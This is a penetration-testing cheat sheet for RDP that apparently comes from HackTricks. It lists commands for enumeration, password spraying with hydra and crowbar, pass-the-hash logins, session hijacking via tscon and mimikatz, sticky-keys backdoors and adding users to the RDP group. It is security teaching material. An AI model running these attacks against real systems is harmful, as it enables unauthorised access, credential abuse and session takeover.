3389 - Pentesting RDP

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Basic Information

Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

Default port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

Automatic

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

It checks the available encryption and DoS vulnerability (without causing DoS to the service) and obtains NTLM Windows info (versions).

Brute force

Be careful, you could lock accounts

Password Spraying

Be careful, you could lock accounts

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Connect with known credentials/hash

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Check known credentials against RDP services

rdp_check.py from impacket let you check if some credentials are valid for a RDP service:

rdp_check <domain>/<name>:<password>@<IP>

Attacks

Session stealing

With SYSTEM permissions you can access any opened RDP session by any user without need to know the password of the owner.

Get openned sessions:

query user

Access to the selected session

tscon <ID> /dest:<SESSIONNAME>

Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.

Important: When you access an active RDP sessions you will kickoff the user that was using it.

You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...)

Mimikatz

You could also use mimikatz to do this:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Combining this technique with stickykeys or utilman you will be able to access a administrative CMD and any RDP session anytime

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

If someone from a different domain or with better privileges login via RDP to the PC where you are an Admin, you can inject your beacon in his RDP session process and act as him:

{{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}}

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn

AutoRDPwn is a post-exploitation framework created in Powershell, designed primarily to automate the Shadow attack on Microsoft Windows computers. This vulnerability (listed as a feature by Microsoft) allows a remote attacker to view his victim's desktop without his consent, and even control it on demand, using tools native to the operating system itself.

EvilRDP
Control mouse and keyboard in an automated way from command line
Control clipboard in an automated way from command line
Spawn a SOCKS proxy from the client that channels network communication to the target via RDP
Execute arbitrary SHELL and PowerShell commands on the target without uploading files
Upload and download files to/from the target even when file transfers are disabled on the target

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for RDP
  Note: |
    Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

    https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
  Name: Nmap
  Description: Nmap with RDP Scripts
  Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

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